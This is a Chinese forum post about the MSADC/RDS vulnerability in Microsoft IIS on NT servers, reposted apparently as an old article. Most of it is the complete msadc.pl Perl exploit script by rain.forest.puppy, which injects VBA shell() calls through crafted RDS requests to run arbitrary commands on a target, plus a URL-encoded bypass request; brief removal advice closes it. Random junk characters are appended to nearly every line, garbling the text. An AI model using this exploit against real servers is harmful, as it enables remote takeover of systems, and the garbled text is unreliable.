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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 4BUG\~eI3  
bZ1*:k2  
涉及程序: "0uM%*2  
Microsoft NT server .;Mb4"7=  
tewp-M KA  
描述: <$yA*  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 $cK}Tl q  
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详细: p3Qls*  
如果你没有时间读详细内容的话,就删除: z bYv}q  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Yb^e7Eug  
有关的安全问题就没有了。 `kuu}YUi  
aPzn4}~/_  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 YHO}z}f[!  
Zj!,3{jX^  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 p @kRo#~l  
关于利用ODBC远程漏洞的描述,请参看: >t.Lc.  
{?`7D:]`^  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm =y-yHRC7  
.SjJG67OyA  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 }3A~ek#*~  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp qF4tjza;k  
nKzm.D gt_  
这里不再论述。 W03mdRW  
1$eoW/8.  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: F$DA/{.D  
bJetqF6 n  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset X5YOxMq  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! t$(#$Z,RS  
[:.wCG5  
|,p"<a!+{w  
#将下面这段保存为txt文件,然后: "perl -x 文件名" WM`3QJb  
COsmVQ.  
#!perl J/'Fj?  
# g kO^J{_@q  
# MSADC/RDS 'usage' (aka exploit) script ~1D^C |%  
# 9c[X[ Qc  
# by rain.forest.puppy W,NqevXo:  
# EP#2it]0]  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 2=- .@,6  
# beta test and find errors! jhm/ <=  
{ 7jim  
use Socket; use Getopt::Std; A!Cby!,  
getopts("e:vd:h:XR", \%args); 3s/1\m%  
L4Zt4Yuw  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ~w3u(X$m"  
mP&\?  
if (!defined $args{h} && !defined $args{R}) { JyZuj>` 6  
print qq~ o *J*} y  
Usage: msadc.pl -h <host> { -d <delay> -X -v } #Z1-+X8P  
-h <host> = host you want to scan (ip or domain) R1X'}#mU  
-d <seconds> = delay between calls, default 1 second D#L(ZlD4  
-X = dump Index Server path table, if available q4[8\Ua  
-v = verbose {6H[[7i  
-e = external dictionary file for step 5 }lIc{R@H  
-DdHl8  
Or a -R will resume a command session *sOb I(&  
3~T ~Bs  
~; exit;} ekvs3a^  
B^/MwD>%  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; #zTy7ZS,0  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ):'wxIVGI  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 86OrJdD8  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); U;#KFZ+~  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} &Gjpc>d  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ?{qUn8f2  
g %mCg P  
if (!defined $args{R}){ $ret = &has_msadc; )]j3-#  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} (DO'iCxlNh  
UsyNn39  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" G<e+sDQ2  
. "cmd /c "; q13fmK(n-5  
$in=<STDIN>; chomp $in; -*' ?D@l  
$command="cmd /c " . $in ; 4>=M"D hB  
_ l|%~  
if (defined $args{R}) {&load; exit;} >8_y-74  
7A\`  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; o6MFMA+vi  
&try_btcustmr; d}4NL:=&  
t|iN Sy3  
print "\nStep 2: Trying to make our own DSN..."; OF7hp5  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Sv M\9  
qUd7O](b=?  
print "\nStep 3: Trying known DSNs..."; AB'+6QU9k  
&known_dsn; !^% 3  
FB[b]+t`D{  
print "\nStep 4: Trying known .mdbs..."; QEs$9a5TE  
&known_mdb; rJ Jx8)M  
Cjf[]aNJe`  
if (defined $args{e}){ 9VxM1-8Gs  
print "\nStep 5: Trying dictionary of DSN names..."; p-}X=O$  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } oh8:1E,I  
@e)}#kN.  
print "Sorry Charley...maybe next time?\n"; f256;3n  
exit; cF8  2wg  
_/LGGt4&%  
############################################################################## f\hMTebma$  
]?4;Lw  
sub sendraw { # ripped and modded from whisker ~o!- [  
sleep($delay); # it's a DoS on the server! At least on mine... Vx$;wU Y  
my ($pstr)=@_; %Xd*2q4*  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 'Tm1Mh0Fso  
die("Socket problems\n"); ,GH`tK_  
if(connect(S,pack "SnA4x8",2,80,$target)){ n{;Q"\*Sg  
select(S); $|=1; J#..xJ?XRD  
print $pstr; my @in=<S>; rw'+2\  
select(STDOUT); close(S); '(5GR I<  
return @in; S[F06.(1  
} else { die("Can't connect...\n"); }} -'$ob~*  
+]%S}<R  
############################################################################## T'5{p  
j9NF|  
sub make_header { # make the HTTP request b)I-do+  
my $msadc=<<EOT rRq60A  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 P$obID  
User-Agent: ACTIVEDATA `DY yK?R  
Host: $ip N]+6<  
Content-Length: $clen Q~(Gll;  
Connection: Keep-Alive '3b\d:hN  
(L/>LZn|  
ADCClientVersion:01.06 &'z_:Wm  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 yl-:9|LT  
h-P|O6@Ki  
--!ADM!ROX!YOUR!WORLD! <c}@lj-j  
Content-Type: application/x-varg KyyR Hf5  
Content-Length: $reqlen +yP!7]  
~*Y#Y{  
EOT FW|& iS$  
; $msadc=~s/\n/\r\n/g; `*8}q!.  
return $msadc;} [7@ g*!+d  
>_?i)%+)  
############################################################################## TwkT|Piw S  
4`,(*igEv  
sub make_req { # make the RDS request @)U.Dbm  
my ($switch, $p1, $p2)=@_; 5%Qxx\q  
my $req=""; my $t1, $t2, $query, $dsn; *2zp>(%  
[KK |_  
if ($switch==1){ # this is the btcustmr.mdb query zgAU5cw  
$query="Select * from Customers where City=" . make_shell(); (GmBv  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . d)AYY}pw  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} }:#WjH^  
8TP$?8l  
elsif ($switch==2){ # this is general make table query )=~&l={T  
$query="create table AZZ (B int, C varchar(10))"; vXDs/,`r  
$dsn="$p1";} :lB*kmg  
[Fr](&Tx  
elsif ($switch==3){ # this is general exploit table query aRMlE*yW  
$query="select * from AZZ where C=" . make_shell(); w<9rTHG8,  
$dsn="$p1";} h]oUY.Pf  
_RIU,uJs  
elsif ($switch==4){ # attempt to hork file info from index server p1KhI;^  
$query="select path from scope()"; z(\a JW  
$dsn="Provider=MSIDXS;";} [{7#IZL  
ps{4_V-3u  
elsif ($switch==5){ # bad query K}l3t2uk  
$query="select"; ]pR?/3  
$dsn="$p1";} rwq   
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$t1= make_unicode($query); Yqs=jTq`{  
$t2= make_unicode($dsn); ETHcZ  
$req = "\x02\x00\x03\x00"; z&%i"IY  
$req.= "\x08\x00" . pack ("S1", length($t1)); =*\.zr  
$req.= "\x00\x00" . $t1 ; c[Fc3  
$req.= "\x08\x00" . pack ("S1", length($t2)); _KH91$iW8m  
$req.= "\x00\x00" . $t2 ; G)7U &B  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; kOQ)QX  
return $req;} k+h}HCzE  
ztO)~uL  
############################################################################## +KTfGwKt  
(]#^q8)]\9  
sub make_shell { # this makes the shell() statement /I7V\  
return "'|shell(\"$command\")|'";} ='m$ O  
['mpxtG  
############################################################################## k)b{ UFRW  
]\M{Abqd{  
sub make_unicode { # quick little function to convert to unicode x4q}xwH  
my ($in)=@_; my $out; # ?2*I2_  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ]F y' M  
return $out;} (e7!p=D  
v,-Tk=qP  
############################################################################## Zy(i_B-b  
V"#0\ |]m  
sub rdo_success { # checks for RDO return success (this is kludge) ahl|N`  
my (@in) = @_; my $base=content_start(@in); Jh\KVmfXN  
if($in[$base]=~/multipart\/mixed/){ &nmBsl3Q.  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} f-F=!^.  
return 0;} +VUkV-kP  
{lds?AuK  
############################################################################## V8n { k'  
Nh!`"B2B  
sub make_dsn { # this makes a DSN for us X?_rD'3  
my @drives=("c","d","e","f"); [\ao#f0WR  
print "\nMaking DSN: "; .Pm5nS  
foreach $drive (@drives) { UXct+l  
print "$drive: "; 1-gM)x{Jr  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . x/s:/YN'  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" AIHH@z   
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); N'2?Zb  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; >e Gg 1  
return 0 if $2 eq "404"; # not found/doesn't exist  kORWj<  
if($2 eq "200") { /!Rva"  
foreach $line (@results) { x@  =p  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ~-'2jb*8  
} return 0;} ']nIa7  
>6C\T@{lJ  
############################################################################## [piK"N  
!4p{ b f  
sub verify_exists { I1 ]YT  
my ($page)=@_; t1Ts!Q2  
my @results=sendraw("GET $page HTTP/1.0\n\n"); d'_q9uf'  
return $results[0];} f+:iz'b#U  
$wM..ee  
############################################################################## 85E$m'0O  
vU>^  
sub try_btcustmr { \Tz|COG5h\  
my @drives=("c","d","e","f"); Z 8w\[AF{$  
my @dirs=("winnt","winnt35","winnt351","win","windows"); K GgtEh|  
n5QO'Jr%[  
foreach $dir (@dirs) { x]7:MG$  
print "$dir -> "; # fun status so you can see progress Vl^x_gs#_]  
foreach $drive (@drives) { uc,>VzdB  
print "$drive: "; # ditto  LDg9@esi  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ,l&?%H9q  
$reqlenlen=length( "$reqlen" ); I=L[ "]  
$clen= 206 + $reqlenlen + $reqlen; MXSD8]je  
t!\aDkxo %  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); u$JAjA  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} vC,FE )'  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} T, #-: }  
*8)?ZZMM  
############################################################################## C1-U2@  
iF`_-t/k  
sub odbc_error { 1EV bGe%b  
my (@in)=@_; my $base; v/ry" W  
my $base = content_start(@in); 7@{%S~TN  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this phDIUhL$z  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 1L <TzQ  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; "==c  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; "W5MZ  
return $in[$base+4].$in[$base+5].$in[$base+6];} |)7K(R)(=  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; `he# !"  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . j}Tv/O,f  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} t]&.'n,  
j)@W1I]2#  
############################################################################## CAc]SxLh  
AON |b\?  
sub verbose { >)K3  
my ($in)=@_; !/}4_s`,  
return if !$verbose; 6Jgl"Jw8  
print STDOUT "\n$in\n";} rRevyTs  
'wPX.h?  
############################################################################## ^$oa`B^2JM  
k)knyEUi  
sub save { r8(oTx  
my ($p1, $p2, $p3, $p4)=@_; 3Y P! B=  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 7T[L5-g  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; fS}Eu4Xe  
close OUT;} ](oeMl18R  
=)bOteWM  
############################################################################## N~|f^#L  
7O)ATb#up  
sub load { }6l:'nW  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; M Q =x:p{  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Z&^vEQ  
@p=<IN>; close(IN); 7Ydqg&  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Ow-ejo  
$target= inet_aton($ip) || die("inet_aton problems"); S[y'{;  
print "Resuming to $ip ..."; m !:F/?B  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; (lwV(M  
if($p[1]==1) { kg Bkwp  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; /%m?D o  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; nWelM2  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); m& AbH&;  
if (rdo_success(@results)){print "Success!\n";} Cnpl0rV~5  
else { print "failed\n"; verbose(odbc_error(@results));}} 7UBW3{d/u5  
elsif ($p[1]==3){ 5{-Hg[+9  
if(run_query("$p[3]")){ dtuCA"D  
print "Success!\n";} else { print "failed\n"; }} `_yksh3zL4  
elsif ($p[1]==4){ og$dv 23  
if(run_query($drvst . "$p[3]")){ Q8HNST($?  
print "Success!\n"; } else { print "failed\n"; }} @yGnrfr  
exit;} !o| ex+z;  
QY+{ OCB  
############################################################################## qo9&e~Y<G  
0of:tZU  
sub create_table { ~/4j&IG  
my ($in)=@_; , JH*l:7  
$reqlen=length( make_req(2,$in,"") ) - 28; {X, -T&  
$reqlenlen=length( "$reqlen" ); Rq1 5AR  
$clen= 206 + $reqlenlen + $reqlen; |%4nU#GoB  
my @results=sendraw(make_header() . make_req(2,$in,"")); 4PSbr$  
return 1 if rdo_success(@results); TFbc@rfB  
my $temp= odbc_error(@results); verbose($temp); k&yBB%g  
return 1 if $temp=~/Table 'AZZ' already exists/; W[QgddR  
return 0;} KUW )F  
<> =(BAw  
############################################################################## |vi=h2*  
?z`yNx6  
sub known_dsn { }!g$k $y  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 4-O.i\1q  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", VIWH~UR)&!  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ~DLxIe  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); r(]Gd`]  
-X EK[  
foreach $dSn (@dsns) { 34k(:]56|  
print "."; s,J\nbj0h  
next if (!is_access("DSN=$dSn")); rDaiA x&  
if(create_table("DSN=$dSn")){ b0f6?s  
print "$dSn successful\n"; !6.LSY,E  
if(run_query("DSN=$dSn")){ (Vey]J  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ^N}{M$  
print "Something's borked. Use verbose next time\n";}}} print "\n";} @ &c@  
!/2kJOSp  
############################################################################## d}E6d||A  
$xvwnbq#y  
sub is_access { '( ETXQ@  
my ($in)=@_; @bkSA  
$reqlen=length( make_req(5,$in,"") ) - 28; :^7_E&  
$reqlenlen=length( "$reqlen" ); ;|rFP  
$clen= 206 + $reqlenlen + $reqlen; s/?(G L+Ae  
my @results=sendraw(make_header() . make_req(5,$in,"")); O,@QGUoA  
my $temp= odbc_error(@results); F[ ^ p~u{  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ,vi6<C\  
return 0;} L#vk77  
bN*zx)f  
############################################################################## _58&^:/^  
TFc/`  
sub run_query { =w7k@[Bq  
my ($in)=@_; >taT V_,  
$reqlen=length( make_req(3,$in,"") ) - 28; yj,+7[)  
$reqlenlen=length( "$reqlen" ); =aT8=ihP  
$clen= 206 + $reqlenlen + $reqlen; "gpfD-BX  
my @results=sendraw(make_header() . make_req(3,$in,"")); i+-Y"vRi  
return 1 if rdo_success(@results); ku v<  
my $temp= odbc_error(@results); verbose($temp); +DT tKj  
return 0;} DKQQZ` PF  
:v-,-3AG  
############################################################################## ^YPw'cZZ&  
d#,   
sub known_mdb { TGPdi5Eq  
my @drives=("c","d","e","f","g"); (j}Wt8  
my @dirs=("winnt","winnt35","winnt351","win","windows"); i#lO{ ]  
my $dir, $drive, $mdb; t;%MSedn  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; AK;G_L  
nRZ T~S4  
# this is sparse, because I don't know of many 0w^awT<$6  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ``?Z97rH  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", cMt , 80  
"\\system32\\certmdb.mdb", d~d~Cd`V  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ]s_BOt  
Jxb+NPUB  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ~f2-%~  
"\\cfusion\\cfapps\\forums\\forums_.mdb", YsjTC$Tx,  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", !P:~oo =  
"\\cfusion\\cfapps\\security\\realm_.mdb", Vzrp9&loY  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", vn5]+-I  
"\\cfusion\\database\\cfexamples.mdb", ! F&{I  
"\\cfusion\\database\\cfsnippets.mdb", Q5v_^O<!  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", bF3}L=z  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", NE$=R"<Gv  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 7^8<[8  
"\\cfusion\\database\\smpolicy.mdb", -,xsUw4  
"\\cfusion\\database\cypress.mdb", My >{;n=}  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", W^nG\"T^  
"\\website\\cgi-win\\dbsample.mdb", 0Z[8d0  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", v?1xYG@1  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" +Y^/0=6h  
); #these are just | \JB/x  
foreach $drive (@drives) { Yg7C"3;Vt  
foreach $dir (@dirs){ Q,f5r%A.  
foreach $mdb (@sysmdbs) { G0h7MO%x  
print "."; bl B00   
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 4[]4KKO3Q2  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; b{d@:"  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ t?kbN\,  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; n|iO)L\9aB  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ~); 7D'[  
yX8$LOjE  
foreach $drive (@drives) { Zz04Pz1  
foreach $mdb (@mdbs) { Qjh @oWT  
print "."; A[oxG;9xi  
if(create_table($drv . $drive . $dir . $mdb)){ *FUbKr0  
print "\n" . $drive . $dir . $mdb . " successful\n"; aV8]?E5G  
if(run_query($drv . $drive . $dir . $mdb)){ AUAJMS!m  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; V5LzUg]  
} else { print "Something's borked. Use verbose next time\n"; }}}} AA,n.;zy<  
} Q|o~\h<  
NvfQa6?;  
############################################################################## 0l ]K%5#  
>H?{=H+/#  
sub hork_idx { rOy-6og  
print "\nAttempting to dump Index Server tables...\n"; X8b= z9  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; -d 6B;I<'  
$reqlen=length( make_req(4,"","") ) - 28; co%ttH\ n  
$reqlenlen=length( "$reqlen" ); o;@T6-VH  
$clen= 206 + $reqlenlen + $reqlen; :AB$d~${M>  
my @results=sendraw2(make_header() . make_req(4,"","")); 13P8Zmco  
if (rdo_success(@results)){ dAcy;-[[P  
my $max=@results; my $c; my %d; ',p`B-dw  
for($c=19; $c<$max; $c++){ h{cJ S9e}  
$results[$c]=~s/\x00//g; toCT5E_0=  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; * <_8]C0>  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; FCEFg)c5=  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; paW7.~3 R  
$d{"$1$2"}="";} +O @0gl  
foreach $c (keys %d){ print "$c\n"; } (a i&v  
} else {print "Index server doesn't seem to be installed.\n"; }} uD''0G\  
<J QvuC  
############################################################################## #Hr>KQ5mJQ  
ZK@ENfG  
sub dsn_dict { poYO  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); <OEu 4,~:  
while(<IN>){ ?8Hr 9  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; .qCD(XZ+  
next if (!is_access("DSN=$dSn")); Ytnk^/Z1L  
if(create_table("DSN=$dSn")){ 1yN/+Rq  
print "$dSn successful\n"; hIPU%  
if(run_query("DSN=$dSn")){ .5zqpm  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { (TV ye4Z  
print "Something's borked. Use verbose next time\n";}}} ,$96bF "#  
print "\n"; close(IN);} <k&Q"X:"  
~sSlfQWMzy  
############################################################################## 0ZXG{Gp9S  
5Vzi{y/bL  
sub sendraw2 { # ripped and modded from whisker -Ug  
sleep($delay); # it's a DoS on the server! At least on mine... !(soMv  
my ($pstr)=@_; {(#>%f+|C  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Y\ len  
die("Socket problems\n"); iy{*w&p  
if(connect(S,pack "SnA4x8",2,80,$target)){ :.IVf Zw  
print "Connected. Getting data"; io$!z=W  
open(OUT,">raw.out"); my @in;  T^ ^o  
select(S); $|=1; print $pstr; DUxj^,mf,  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} &JM|u ww?1  
close(OUT); select(STDOUT); close(S); return @in; <$LVAy"RD  
} else { die("Can't connect...\n"); }} DDT)l+:XP  
\4`~ J@5Y  
############################################################################## V&E)4KBOs  
< 6[XE  
sub content_start { # this will take in the server headers Tt.wY=,K  
my (@in)=@_; my $c; wPYz&&W  
for ($c=1;$c<500;$c++) { Lmx95[#@a  
if($in[$c] =~/^\x0d\x0a/){ %SL'X`j  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } #N?EPV$  
else { return $c+1; }}} W~J@v@..4  
return -1;} # it should never get here actually pDO&I]S`q0  
Rdd[b?  
############################################################################## *wcb5p  
b/='M`D}#G  
sub funky { ]?p&sI4  
my (@in)=@_; my $error=odbc_error(@in); xioL6^(Qk,  
if($error=~/ADO could not find the specified provider/){ _4VF>#b  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; sXdNlR&  
exit;} ;#G)([  
if($error=~/A Handler is required/){ <GI{`@5C  
print "\nServer has custom handler filters (they most likely are patched)\n"; Cvr?%+)$M  
exit;} @sRUl ,M;Z  
if($error=~/specified Handler has denied Access/){ #wL}4VN  
print "\nServer has custom handler filters (they most likely are patched)\n"; c8I : jDk:  
exit;}} /(Se:jH$>  
8|uFW7Q  
############################################################################## !j,LS$tPu  
$bRakF1'S  
sub has_msadc { 5_@ u Be~  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); fJ_d ,4  
my $base=content_start(@results); Mvq5s+.  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); LwQq0<v  
return 0;} fX=o,=-f  
m0+X 109  
######################## '`$z!rA  
kYBy\  
,C%fA>?UF8  
解决方案: :uE:mY%R  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll kZXsL  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 \8v{9Yb  
*"4d6  
拿出来充数 哈哈
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